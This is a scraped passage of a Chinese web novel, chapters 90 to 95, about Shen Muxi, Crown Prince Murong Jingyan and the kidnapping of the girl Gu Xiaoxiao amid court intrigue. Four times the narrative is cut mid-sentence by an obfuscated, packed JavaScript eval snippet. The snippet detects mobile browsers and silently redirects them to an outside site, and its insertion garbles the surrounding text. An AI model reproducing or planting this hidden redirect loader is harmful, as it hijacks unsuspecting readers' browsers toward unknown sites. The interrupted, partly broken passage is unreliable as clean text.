在沈慕兮看到的沈曦记忆中,沈曦离开前的沈府,还是县主府,宫氏向来强势... 虽然爱沈钏海,却也十分有原则。 断断做不出无缘无故把县主府变成沈府的事情。 可事实却是,短短几年,一切都变天了。 回想宫氏留给沈曦的绝笔书... “你娘亲的死,很有可能另有隐情。” 提到宫氏,沈曦的眼眶一下子变得通红。 “我知道,从娘亲不让我告知其他人我懂医术的时候开始,结合那天回来我们遇到太师府的人偷偷离开,以及今日祖母让你为沈柔担下污名的事,我就猜到了。 可是现在一切也只是咱们的猜测...” 明面上,太师府跟沈府并无关联... 若是贸然打草惊蛇,反而可能会给自己带来不必要的麻烦... “无妨,我们可以再等一等。” 沈慕兮的目光落在自己眼前的虚空,步子缓慢,语调极为轻缓。 “等?”沈曦一脸疑惑。 沈慕兮笑了笑,“到时候你就知道了。” 红玉在沈慕兮的要求下,跟在距离她三步远的身后。 暮色四合。 沈慕兮时而轻笑,时而喃喃自语,她只觉得汗毛倒竖——这大小姐,可千万不是有什么大病才好。 ... 夜色浓稠如墨。 天空不知道什么时候开始洒落细盐似的雪花。 听雨苑。 再次找杜衡解释却见不到杜衡的面,沈柔挨了半天冻,心情正在烦闷。 回到院子里就听到沈慕兮身边的红玉来了。 她硬是按捺了自己心中不悦,见了红玉。 “你说什么?沈曦疯了?” 红玉低头,不敢与沈柔对视。 “这些天,奴婢一直在大小姐身边伺候,总是发现大小姐喜欢自言自语...” 停顿了一下,她纠正道,“也不算是自言自语,奴婢虽然听不清,但是从大小姐的一些细小神态动作来看,大小姐更像是跟什么人在聊天,只是...她身边空无一人,看上去,像是犯了疯症...” 空无一人的自言自语... 沈柔重新靠坐在贵妃榻上,接过丫鬟递过来的一盏温水。 “你确定,你没有看错?”暖水入喉,她才感觉自己像是活过来一样,再次跟红玉确认。 “奴婢的眼神向来很好,不会错的。”红玉斩钉截铁地回答,语气愈发笃定,“奴婢瞧着,大小姐这个样子,与其说像是生病,倒不如更像是被什么邪祟附了身。” 邪祟? 沈柔目光微沉,很快又恢复如常。 “好了,我知道了,你回去吧,好生伺候着,切莫漏了马脚。” “是。” 红玉走后,沈柔唤来了身边的小丫鬟。 “你去祖母那边,帮我请刘嬷嬷过来。” ... 半夜,红豆翻墙而来。 “小姐,咱们的人回来消息了。” 沈慕兮欢喜接了信。 等看完信上内容,她脸上的笑意早已凝固。 “怎么了?” 沈曦跟着看信中内容。 沈慕兮把信纸展开,让沈曦看得真切。 “事有阻碍,黄江跟杨威获取不了裴望的信任... 所以,裴望那边的路,变相走不通了,对吗?” 沈慕兮点头。 对上红豆疑惑的眼神,沈慕兮忙道,“你们这次做得不错,虽然有阻碍,可是身份没暴露就好。” “小姐,接下来,咱们要怎么办?还是留在京都?亦或是回去丹阳?” 红豆早已查到太子在明年成亲后要出使北宸的事情,所以她本能地以为沈慕兮是在为明年做打算。 沈慕兮点头,“让他们留人在京都观察京都动向,黄江跟杨威回去丹阳与我安排的几人汇合,切勿暴露了。” “是。”红豆应下。 “对了小姐,刚才奴婢来的时候,发现咱们院子里有一个丫鬟鬼鬼祟祟地从外头回来,您看...” 这院子里的人被换了一次又一次。 院子里早就漏得跟筛子似的。 沈慕兮见怪不怪,“无妨,她们无非就是去跟他们的主子报信,可是沈府很快就自身难保,你觉得我还会在乎这些吗?” 慕容景衍这个人精,又怎么可能会允许沈府的人踩着他上位? 沈钏海想要蹭慕容景衍去了北宸之后的荣光,也要看看他有没有这个命。 “小姐若是心中有成算,奴婢就放心了。” 红豆又与沈慕兮说了一下最近北宸京都的情况。 “北宸苏府那边,似乎不对劲,至少在消息回来的时候,黄江发现了苏府那边的人与一些身份不明的人在接触。” 身份不明的人? 沈慕兮一下子想到了当初在木兰山上的贼匪。 她眼底闪过一丝冷意,“好,我知道了,苏府那边,也劳烦你们看紧,尤其是,苏勇。” 苏勇绝对不简单。 “是。” 红豆很快离开了。 现在的情况越来越复杂。 眼下沈府这边铁了心要将沈慕兮推出去给沈柔顶罪。 而北宸那边又陷入了停滞,沈曦眉头微蹙。 正为沈慕兮现在的情况担忧,转头看到沈慕兮正在重新梳发。 她飘到她身边,“你现在还要出去?” 沈慕兮一边挽发一边开口道,“我在丹阳有几个过命之交,我打算亲自去北宸一趟。” “那你的婚事怎么办?” “所以我要去找慕容景衍。” “你找他做什么?” “借人。” 在沈慕兮偷偷摸摸躲过沈府侍卫巡查的钻狗洞前往小东宫的时候。 安平侯府那边也没有半点消停。 “父亲,我不娶。” 杜衡的声音几乎掀翻了安平侯府的屋顶。 第91章 筱筱醒了 “那个女人,水性杨花,还未过门就与人珠胎暗结,孩儿无论如何都咽不下这口气。” 想起这几天,他因为沈柔来找他而心软过,杜衡更是因为自己的心不受控制而烦躁不已。 “总之,父亲也不用劝说,孩儿是不会娶沈柔的。” 他的态度十分坚决。 奈何杜云潮的态度比杜衡的态度更强硬。 “当初你要与沈府长女退亲,为父已经让你任性过一次,这次,你必须要听我的。” 似是发现自己的态度不好,他又收敛了一下眼底戾气,放缓了语气,“你作为侯府世子,理应知道,一个好的世子夫人,对家族的影响与作用有多大,为父比你更加看重家族荣誉,你相信为父,沈柔娶了回来放着,总比现在退亲要好。” 这个与上午时分截然不同的说辞,显然不能满足杜衡。 “父亲,到底发生了什么事,才让你突然改变了想法?” 杜衡了解杜云潮,向来无利不起早。 他越是这样强迫他,他反而嗅出了其中的不寻常。 杜云潮目光微沉,不再与杜衡多言,“其他事情你不必细问,作为安平侯府世子,安平侯府这些年给了你最好的,你不能眼睁睁看着侯府没落,为父着不是与你商量,而是通知。” 杜衡的拳头紧了又松,松了又紧。 “孩儿不” 安平侯夫人李氏闻讯而来,就听到了杜云潮语气强硬地给杜衡下通知。 而杜衡还想要反驳。 她连忙上前夹在父子两人的中间。 “好啦,都是父子俩,有什么不好的,商量好就可以了,不要这样剑拔弩张,回头伤了和气,吃亏的还是自己人。” 李氏向来有心疾。 杜云潮虽说无利不起早,可是对李氏却是真心实意,平日里更是对她千依百顺,生怕惹她不高兴而影响她的身体。 只是这一次,他的态度难得坚决。 “夫人,此事事关我安平侯府未来的繁荣,他必须要应下。” 杜云潮在李氏面前鲜少有这种严肃的神情,李氏立刻意识到事情的严重性。 转头看向杜衡,脸上的笑意淡了几分。 “衡儿,你是怎么想的?” “母亲,我” “你以前胡闹,母亲都由着你,你父亲也在自己力所能及的范围内满足你所有的要求,你看看整个邺城,有哪个高门世子,能有你这般自由,说退婚就退婚,说换亲就换亲?” 说到后面,李氏脸上虽然挂着笑,可眼底的笑意早已散去。 杜衡被说得哑口无言,他还是不死心。 “母亲可是沈柔她” 李氏握住杜衡的手紧了紧,“你父亲鲜少对你有极高的要求,这次,你就当做是帮你父亲的忙,一个女子而已,以你的身份,以后想要什么样的人没有?” “母亲,柔儿不是普通女子”在李氏笑意不达眼底的目光注视下,杜衡的声音逐渐变弱,最后无奈点头,“孩儿受教。” “这才对嘛,”杜云潮满意地抬手拍了拍杜衡的肩膀,“你长大了,该有的担当得有。 你是最后一代安平侯,父亲旁的心愿没有,只希望,侯府的爵位能在你手上,能变成世袭罔替。” 杜衡嘴唇微动,还想说些什么。 最终只能在李氏的目光注视下乖乖垂眸,“是。” 一直看到杜云潮走远。 李氏面上的严肃才换成了一脸心疼。 “娘亲的心肝,你没事吧?” 她围着杜衡看了又看,确定他只是犟嘴气到杜云潮,并没有受伤,这才松了一口气。 语气充满了宠溺,“你也是,你父亲所作的一切都是为了侯府的未来着想,你就不能顺着他点?” “可是父亲突然改口让我娶沈柔,这本身就很不合理,”杜衡探究地看向李氏,“娘,父亲现在是不是瞒着咱们在跟什么人有私下往来?” “你这孩子,这些话怎么能乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287810|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说?”李氏嗔怪地轻拍了他的肩膀一下。 “总之,你要记住,不管你父亲做什么,他都是为了我们娘俩,你下次可不许再这样气你父亲了。” 李氏从来不会怀疑在这二十多年都只守着她母子二人的杜云潮会有什么小心思。 不管发生什么事,只要杜云潮解释,她都会毫无保留地信任。 “再说了,你现在也不过只是介意沈柔肚子里的那块肉,孕妇从怀胎到生产,还有好几个月呢,就不能出些意外吗?” 李氏的话一下子点醒了杜衡。 前一刻还像是死水一般的眼眸,此时像是投入了一颗小石头,泛起了一圈圈的涟漪,连带黯淡的眼神也恢复了神采。 “孩儿知道了,谢谢娘亲。” 他的语气一扫刚才的颓丧,连背影也轻快了许多。 李氏看的一阵心疼。 心中不免对沈柔多了几分怨恨。 沈府出来的,就没有一个好东西。 从乡下接回来的那个上不得台面也就算了。 没想到养在府上的,连那个从乡下回来的都不如。 她叹了一口气,语气恶劣地唤来了下人。 “扶我去佛堂。” 她要去诵经平复一下心情。 小东宫。 沈慕兮离开没多久,顾筱筱悠悠醒转。 温暖的被窝,柔软的床榻,浅色的床帐,无一不在告诉她,她到了一个新的地方。 她艰难从床上坐了起来。 脑子还是有些昏沉。 转眼看到花窗外寒风呼啸,将干枯的断枝吹得摇摆不定。 她这时才反应过来——屋里温暖如春。 连被子都是软软香香的。 她努力回忆,自己是怎么来到这个漂亮的地方 蓦地,她的脖子传来微微刺痛,她一下子想起来——她被荣郡王府的坏姐姐勒死了!! 那这里 是地狱? 第92章 需要告诉沈小姐这个事吗? 她想起了娘亲跟她说过猴子的故事。 地下有一座宫殿,人死了,都会去那里过桥。 桥头有一个叫孟婆的老奶奶,过桥之前,会给她一碗汤 想法一出,顾筱筱又忍不住打量了一下周围的场景。 这里那么漂亮,那么温暖。 真的是专门接待死人的地方吗? 那 那个给她喝汤的老奶奶会在哪? 娘亲又在哪呢? 她忐忑不安地抱着被子四处打量。 肩上突然传来一阵重力,当初在荣郡王府时候被欺负的恐惧席卷而来,她忍不住惨叫了一声。 转头看到一个十五六岁的貌美丫鬟,丫鬟脸上的惊恐比她还夸张。 在她叫了出来以后,丫鬟脸上又惊又怒,连语气也多了几分埋怨。 “小郡主您既然醒了就不要拿着你那半张烂了的脸吓人” 不等她说完,顾筱筱再次惨叫一声晕倒了过去。 其他在外头的丫鬟婆子听到顾筱筱惨叫的时候已经快步往房里赶,刚好看到顾筱筱惨叫一声晕过去的场景。 精致小院瞬间忙碌起来。 书房。 沈慕兮离开没多久。 慕容景衍就唤来了贺鸿,说出了部署重新调整的想法。 贺鸿皱眉,“殿下,属下以为,此事非同小可,还是要三思。” 慕容景衍坚持己见,“眼下邺城这个平衡,需要打破,沈曦,会是一个很好的切入点。” “可是这样一来,咱们在北宸救回来的小姑娘就没有了用处,那么” 意识到贺鸿的想法,慕容景衍目光一沉,“不管发生什么事情,谁都不许动那个小姑娘分毫。” 贺鸿一怔,很快又恢复以往的恭敬态度。 “是。” 就在这时,小院里负责照顾顾筱筱的婆子来了。 “殿下,小郡主醒了。” 慕容景衍跟贺鸿同时面露惊讶。 很快,贺鸿脸上的惊讶变得纠结。 他是为数不多知道顾筱筱并非慕容景衍女儿的人之一。 一旦顾筱筱醒了,万一她在下人面前胡言乱语 婆子为难的声音再次传来,打断了贺鸿的胡思乱想,“可是小郡主似是受了惊吓,才刚醒来又晕过去了。” 几乎没有犹豫,慕容景衍撑伞大步往外走,“去把林大夫请过来,另外,今晚之事暂时保密。” “是。” 贺鸿应声退下。 小院里,下人们看到慕容景衍步伐如风地赶过来。 纷纷跪下见礼。 追上了慕容景衍的贺鸿在后面让下人起来。 “都起来吧,现在是什么情况。” 慕容景衍才刚踏入房间,就看到一个面生的小丫鬟还跪在顾筱筱床边,委屈巴巴地红着眼眶,大气不敢出。 看到慕容景衍前来,她跪行上前,挺直腰板,对上慕容景衍的视线,大胆承认了自己的错误。 “殿下,是奴婢的无心之失,奴婢看到小郡主醒来,心中欢喜,唤了小郡主几声小郡主都没反应,奴婢只是轻轻抬手搭了一下小郡主的肩膀,哪知道” “杜嬷嬷。” 慕容景衍没有心思听下去,开口唤了一声刚才去书房通知他的婆子。 婆子——杜嬷嬷恭敬上前,欲言又止,“殿下。” 慕容景衍的目光全数落在顾筱筱身上,连个眼角余光都没有分出来,“带下去,本宫这里没有无心之失。” 看清丫鬟的模样,杜嬷嬷差点惊呼出声。 丫鬟目光恳切地看向杜嬷嬷,杜嬷嬷脸上闪过一丝动摇神色,可当她看到萦绕在慕容景衍周围的冰冷气场,她还是乖乖应下了慕容景衍的吩咐。 很快,两个粗使婆子在杜嬷嬷的吩咐下进了屋,毫不留情地将小丫鬟拖走。 小丫鬟看到势头不对,连忙求饶。 “殿下,奴婢真的不是故意的,殿下” 慕容景衍面上沉沉,让人看不清心中实际想法。 杜嬷嬷连忙挡在丫鬟身前,一脸惭愧地跪在慕容景衍面前,“是老奴安排不当,望殿下恕罪。” 慕容景衍起身,“若是再有下次,嬷嬷你就请退回乡安享晚年吧。” 他的声音淡淡,语气却带着不容任何人置喙的冷漠。 杜嬷嬷眼底闪过一丝暗色,很快又恢复如常,“是,谢殿下。” 就在杜嬷嬷退下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287811|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处置小丫鬟的时候,侍卫已经带着一个看上去看上去五六十岁的林姓老大夫前来。 林大夫这些年颇得慕容景衍重用,即使没有被小东宫收做府医,来的频率却也可以赶上成为小东宫的专属大夫。 为此,慕容景衍在小东宫后特地给他安排了一处两进宅子。 以防万一遇到突发事件。 听到小东宫传召,林大夫十分识趣地没有多问。 “殿下,小郡主这是惊吓过度,且昏迷太久,气血不足导致的昏厥,稍后草民为小郡主施针,让她宁神安歇,醒来后,以滋补方子温补一些时日,即无大碍。” 慕容景衍“嗯”了一声,“可还有其他需要注意的地方?” “其他 需要注意的,大概就是她的心脉受损,往后不能再受太大的刺激了。” 林大夫恭敬回答。 “若是殿下需要,草民也可以根据小郡主心脉受损的情况给殿下留个方子,殿下可以根据小郡主的实际情况去抓药,只是方子用量方面,可能需要酌情增减” 一听到煎药的用量要酌情增减,慕容景衍想也不想就拒绝了,“不必,你先给她施针让她宁神。 回头她会有专门的人照顾,想来会比本宫的安排更妥当。” 林大夫也没有多说什么。 为顾筱筱施针过后,就离开了。 贺鸿有点踟蹰地看了一眼慕容景衍,“需要告诉沈小姐这个事吗?” 慕容景衍看了一眼天色。 “眼下天色已晚,明日再遣人递信给她,”沉默了一下,他吩咐道,“让管家把这些天照顾筱筱的丫鬟婆子全部都换了。” 并非他不信现在这个小院子里的人。 小心些,总是好的。 “是。” 贺鸿刚应下。 一名侍卫急匆匆地前来禀报。 “殿下,宫中来了人,请您进宫一趟。” 贺鸿担心的看向慕容经验,“现在都这么晚了,圣上为何召见这么突然?” 慕容景衍嘴角忍不住勾起一抹冷笑,“谁知道呢?” 管他什么召见突然,慕容傲不让他好过才是事实。 既然如此,那大家都别想好好过了。 第93章 可有去看过筱筱? 慕容景衍离开没多久。 小院子里的丫鬟婆子已经被管家撤走了大半,只剩下几个守在房间周围,随时注意顾筱筱的动态。 四周安静得落针可闻。 顾筱筱再次从噩梦中惊醒。 一张小脸沁满冷汗。 她双目无神地看向帐顶。 “筱筱没死” 她喃喃自语,说出来的话早已不成调。 这个地方陌生漂亮又安静。 可 这里没有娘亲,不是她的家。 对了。 娘亲。 娘亲还不知道她去哪里了。 她要回去找娘亲 只要想到自己娘亲还在一个不知道的地方等着自己,顾筱筱根本顾不上自己虚弱的身体。 小院后罩房屋前传来了鞭子抽打在皮肉的声音,伴随着小丫鬟的惨叫。 三十鞭很快打完。 丫鬟软软倒在地上。 杜嬷嬷在一旁观刑,对身边的下人冷脸开口道,“这就是不尊主子的下场,都给我仔细点,好好照顾小郡主。” 其他下人早已被震慑得大气不敢出。 纷纷应“是”之后,麻利地各归各位。 直到后罩房前的人都走光了,小丫鬟才艰难地从地上爬起来。 委屈巴巴地看向杜嬷嬷,“姑母” “杜鹃,你这是何苦?我早就说了在这小东宫,不是你动心思的地方。” 杜嬷嬷恨铁不成钢地看向外甥女,想不明白她为何非要趟这趟浑水。 “姑母,你知道我的不甘心” 眼看杜鹃说来说去又是自己一见钟情的那一套,杜嬷嬷直接转移话题,“行了,咱们今晚趁着小丫头还未醒过来,先动手。” “要不是那个小丫头突然大叫,我早就得手了。”杜鹃恨恨道。 她的话音刚落,远处传来了脚步声。 杜嬷嬷跟杜鹃立刻拉开了距离。 “杜嬷嬷,沈姑娘来了,伍管家说他有事走不开,让您接待贵客。” “知道了,我这就过去。” 杜嬷嬷脸上挂着得体的笑容。 杜鹃脸上闪过不屑,“那个姓沈的,对小郡主倒是殷勤” 杜嬷嬷不耐烦地催促,“赶紧换个衣服,去办正事。” 沈慕兮做梦都没想到,自己居然会同一天来两趟小东宫。 当她听到下人提了一嘴说殿下被陛下连夜召入宫中,她心中隐隐已经感觉到了不寻常。 “殿下可有说进宫是所为何事?” 杜嬷嬷为难一笑,“这个老奴不知。” 这个她倒是没有说谎。 问不出其他话,沈慕兮难得保持沉默。 杜嬷嬷试探性问道,“沈姑娘去而复返,是想要看看小郡主吗?” 她这一问,倒是问到她的心坎上了。 要不是条件不允许,她恨不得一直跟筱筱在一起不分开。 可是想到自己裹着风雪而来,现在一身寒气 “罢了。” 她轻声拒绝。 左右筱筱过两天就会醒过来。 现在她的身体还是虚弱,受不得寒。 确定沈慕兮不去看顾筱筱,杜嬷嬷悬着的心放回了肚子里。 “殿下还不知道什么时候回来,姑娘不如先到客苑歇息?” “不必,我就在这里等着。” 慕容景衍的院子在外面看着不怎么样,可是屋里地龙却是暖和得让人置身初夏。 天寒地冻,若非必要,她压根不想挪窝。 她不是没想过要回去。 可是,万一她刚回去,慕容景衍就从宫里回来呢? 抱着这个心态,沈慕兮按捺着心中焦急等待。 直到外头更夫梆声响了四下。 慕容景衍才风尘仆仆从外头回来。 服下了丹药的他,今日的肤色多了一些红润。 看到沈慕兮的时候,他紧绷的下颌线瞬间有了松动。 沈慕兮上前朝他见礼。 “殿下。” 慕容景衍取下大氅,微微颔首,“久等了。” 慕容景衍是在离宫的时候才知道沈慕兮已经在小东宫等了他将近一个时辰。 所以他才紧赶慢赶赶回来。 今晚事出突然,很明显已经有人按捺不住了。 慕容景衍大概也能猜出沈慕兮找他的目的。 让人奉上热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287812|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶后,慕容景衍干脆与沈慕兮坐下细谈。 “沈府跟安平侯府是铁了心要结亲,其中少不了太师府的周旋,明太师连夜上疏,目的显而易见。” “若是沈府让你担下污名,咱们可以将计就计。” 沈慕兮震惊地看着慕容景衍,“殿下怎知” 她还什么都没说,他居然就知道得一清二楚。 不等她震惊完,慕容景衍又继续说道,“你的人在北宸被盯上了,所以做什么事情都成功不了。” 被人盯上? “到底是谁?”沈慕兮嘴里吐出疑问,可是心里大概已经有了答案。 慕容景衍沉默了一下,“本宫猜测,顾时可能后知后觉反应过来,你们母女对他的重要性,让你的对头 有了危机感,所以才想要拼命阻拦真相浮出水面。” 沈慕兮再次目瞪口呆。 “你怎会知道得如此清楚?” 连她的对头都知道。 慕容景衍但笑不语,那微亮的眼神,仿佛在告诉她:跟本宫合作,你不亏的。 沈慕兮对朝堂局势并不熟悉。 可是既然他的话都已经说到这份上了,她还是忍不住多问了一句,“你是不是有人在北宸?” "你说呢?” 沈慕兮这才反应过来自己问了一个多么蠢的问题,只好乖乖闭了嘴。 两人一时无言,气氛有点暧昧。 慕容景衍趁机转移了话题。 “你今晚再过来的时候,可有去看过筱筱?” 沈慕兮摇头,“筱筱现在还不能受寒,我这一身风雪,就不带过去惊扰她了,如果我的推断没错,筱筱大概就是这两天醒过来,也不急在一时。” 想到筱筱快要醒,沈慕兮的神色不由自主地拢上一层温柔,连想来清冷的眼眸都变得波光流转。 慕容景衍抬眸就能对上她潋滟的眼神,心头当即漏跳了一拍。 一股热意止不住爬上耳根。 他忍不住开口,“其实,筱筱她已经” 话到一半,被贺鸿急促的禀报声打断了。 “殿下,不好了,小郡主不见了。” “什么?” 沈慕兮跟慕容景衍同时站了起来。 第94章 还有另一拨人抢筱筱 “到底是怎么回事?” 沈慕兮几乎是出于本能地转头看向慕容景衍。 “去找。” 慕容景衍言简意赅地吩咐下去。 沈慕兮想要跟上,被慕容景衍拉住了。 “若是对方早有预谋,凭你一己之力,又如何能找到女儿?” 沈慕兮转身反手抓住慕容景衍的双臂,“找不到我也要找,我不可能眼睁睁看着女儿在我眼皮子底下不见了。” 因为激动,她的双目通红,连语气也带着颤抖。 目睹筱筱死在跟前的恐惧袭来。 她只觉得呼吸困难,连周围发生什么事情都听不真切了。 好不容易有了一次重生的机会,她守了筱筱几个月,为的就是能再听女儿喊她一声娘亲。 眼看女儿快要醒过来了,她满心希冀地盼望着母女重逢,转头却被告知女儿不见了。 这跟生生拿刀子剜她的心有什么区别? 她身形一晃,差点倒下,慕容景衍眼疾手快,虚虚扶了她一把。 “小心。” 话音刚落,他的手背传来一阵凉意。 他低头一看。 一颗带着余温的泪珠顺着他虚扶她的动作,跌碎在他的手背上。 怀中女子脸色惨白,巴掌大的瓜子脸上,不知道什么时候多了两条泪痕。 关于北宸的“沈慕兮”,慕容景衍并不了解。 只知道,那女子失踪,后来京兆尹那边亲自上门提醒过顾时,只是顾时并不相信那女子遇害的事情。 顾时 对。 他怎么把顾时给忘了呢? “顾时。” 慕容景衍脱口而出顾时的名字。 沈慕兮本来已经黯淡下去的目光瞬间亮了起来。 她满眼希冀地等待慕容景衍的下文。 毕竟,不久前,他才跟她说过,顾时这些天像疯了似的要寻她母女二人的下落。 若是落在顾时手上,顾时的人在复命之前,可能还会有所忌惮,不会伤害筱筱。 也算是不幸之中的大幸。 但这个概率并不大。 先不说南渊北宸相隔甚远,顾时鞭长莫及。 单凭两国如今这种即将一触即发的局势,顾时是疯了才会遣人前来南渊。 慕容景衍不忍心打碎沈慕兮的希望,却又明白谎言会有拆穿的一天,最后还是委婉地告诉了沈慕兮真相。 “当然,这只是一个可能,毕竟顾时做梦都不会想到,他不重视的女儿,眼下养在南渊的小东宫,所以我们要做两手准备。” “两手准备?” 沈慕兮总算有其他反应了。 慕容景衍点头,“朝堂之上,一切看似风平浪静,实际早已波涛暗涌,这些天沈府跟安平侯府事端不断,背后的人逐渐开始坐不住” 后面的话,慕容景衍没有继续说出来。 沈慕兮已经猜得八九不离十。 她的眼神逐渐从最开始的无措惊惧冷静下来。 深呼吸一口气,她才看向慕容景衍,“为什么会是筱筱?” 慕容景衍薄唇微抿,“你我知道筱筱是你的女儿,可是,其他人不知道。” 他的语气委屈,眼眸已经染上了薄薄的戾气。 在其他人眼里,她是慕容景衍未来的太子妃,而筱筱,是一个外室女。 未来太子妃容不下太子的女儿,对小郡主下毒手为自己以后的子嗣开路,是人之常情。 沈慕兮显然也猜到了那些人背后的动机。 “如果这个事情与顾时没有关联,他们想要铲除筱筱,嫁祸给我,让你与沈府有嫌隙” 所以,做这个事情的人,很有可能是太师府 沈慕兮将自己的猜测告诉了慕容景衍。 慕容景衍没有其他特别的反应,只道,“本宫会查明一切,你莫要担心。” 眼前男人从目光到神态都一片坦荡,尤其是对她说出“莫要担心”几个字时,连头发丝都带着真诚。 沈慕兮亦知道顾筱筱失踪很有可能与他没有太大的关系,可她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287813|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是忍不住开口道,“若是殿下能够查明一切,是最好的,毕竟,我们之间的一切合作,都以筱筱为前提。” 慕容景衍自知理亏,有点心虚地摸了摸鼻子,“这是自然。” 看到沈慕兮没有半点想要离开的情况,慕容景衍又道,“你放心,只要贺鸿找到那些人的下落,必定能将筱筱带回来,本宫会给你母女一个交代。” 沈慕兮脸上神色没有半点松动。 紧抿着双唇,目光一瞬不瞬地看向外头。 她的意思很明显,她在等慕容景衍的交代。 慕容景衍皱眉。 以前不是没有妄想拿捏他的人。 最后那些人,都被他一个一个找出来挨个处理完了。 可是沈慕兮 他负在身后的双手悄悄握紧。 丹田之中蔓延至身体的微烫热意还在 慕容景衍的眼神在无奈与想要发火之间交替。 最后还是身体本能短暂战胜了理智。 罢了,天下父母心,就容她放肆这么一回。 想法出来,慕 容景衍也没有再跟沈慕兮多言,兀自落坐在书案后,自行处理公务。 天色逐渐放亮。 沈慕兮一个姿势维持太久,浑身酸痛,转头看到慕容景衍伏案在一堆书信面前奋笔疾书,只觉得稀奇——不是说太子不受宠吗? 那垒在他面前的信件跟折子,又是怎么回事? “殿下。” 一个洪亮的声音打断了沈慕兮的思绪。 同样吸引了慕容景衍的注意。 他本能抬头,绝美的五官一下子撞进沈慕兮的视线,一下子刻进了沈慕兮的脑海里。 沈慕兮慌乱转头。 一个高大的身影轮廓从晨雾中逐渐清晰。 一整夜忙得跟陀螺似的贺鸿回来了,“属下无能,晚了一步。 有两拨人在抢小郡主,小郡主落在了另外一拨人的手上。” 沈慕兮激动地站了起来,“还有另一拨人抢筱筱?” 第95章 是你让人动手去小东宫掳人的? 慕容景衍皱眉。 这是他始料未及的。 “另外一拨人往哪个方向而去?” 贺鸿上气不接下气,“属下已经派人去追踪,最迟傍晚,就能确认那些人实际的目的地。” 顿了顿,他继续道,“他们很谨慎,兵分三路,很难让人猜到他们下一站落脚点,不像是普通侍卫,倒像是江湖上一些训练有素、专门帮人寻人救人的门派作风。” 江湖人士? 沈曦眼眸一亮,在沈慕兮身边提醒,“雪山飞雪门,向来以轻功称著,他们为了谋生,会接一些异地抢人的单子。” 异地抢人? 再一次,沈慕兮想到了远在北宸的顾时。 会是他吗? “沈小姐可要在小东宫再等一天?又或者是,沈小姐先回去,回头本宫遣人给你带消息前来?” 沈慕兮已经离开沈府一整夜。 再不回去,肯定会被发现。 最重要的是,她心里还有了另外一层怀疑。 思索片刻,沈慕兮应下了慕容景衍后面的建议,“有劳殿下遣人给我送消息了。” “沈小姐不必客气。” 慕容景衍客气地让人送她回去沈府。 有慕容景衍的人在暗中配合,府上的人并不知道沈慕兮昨天夜里去过小东宫。 一宿没睡好,沈慕兮心乱如麻地躺在床上。 脑子里前一刻还想着筱筱失踪的事情。 下一刻却不由自主地浮现慕容景衍在书房内一本正经抬头的样子。 以前她心心念念都是筱筱,只知道慕容景衍的模样十分好看,再加上第一次见面的时候,他哭得毫无形象可言,所以她并没有太过注意。 可今日突然被他来了这么一下暴击,她的心不受控制地漏跳了一拍,之后,闭上眼睛就是那张线条完美流畅、五官精致的俊脸。 他的皮肤极为白皙,潋滟的桃花眼看人时候,总是给人一种十分深情的错觉。 “他就是个唱戏的,唱戏的人,看狗都深情,对,就是这样。” 她喃喃自语,不断提醒自己,“沈慕兮,男人都是信不过的,顾时的教训已经很深刻了,要记住教训” “慕兮,你嘟嘟囔囔在说什么?” 沈曦好奇地看着沈慕兮,“你为何不直接在小东宫等消息?” 起码有什么事情,她都可以第一时间知道。 “贺鸿说了,最快也要傍晚才有消息,我不可能干等一天。而且,我怀疑,筱筱失踪一事,与沈府有关系。” “可是你不是才跟太子说了是太师府” 沈曦的话到一半,猛然咬住话茬,幽幽道,“沈府跟太师府勾结,明面上是太师府要挑拨沈府跟小东宫,实际上” 沈慕兮冷笑,“太子都还没出使北宸呢,他们就已经在准备瓜分功劳了。” 如果她没猜错。 对筱筱下手,只是一个开端。 他们打算从明面上分化沈府跟小东宫。 太子的外室女一死,皇室的污点没了,圣上自然乐见其成。 他们就是打的这个主意。 如此一来,她跟太子的婚事,依旧板上钉钉。 而因为沈慕兮的存在,在旁人眼里,太子也不可能真的与沈府深交。 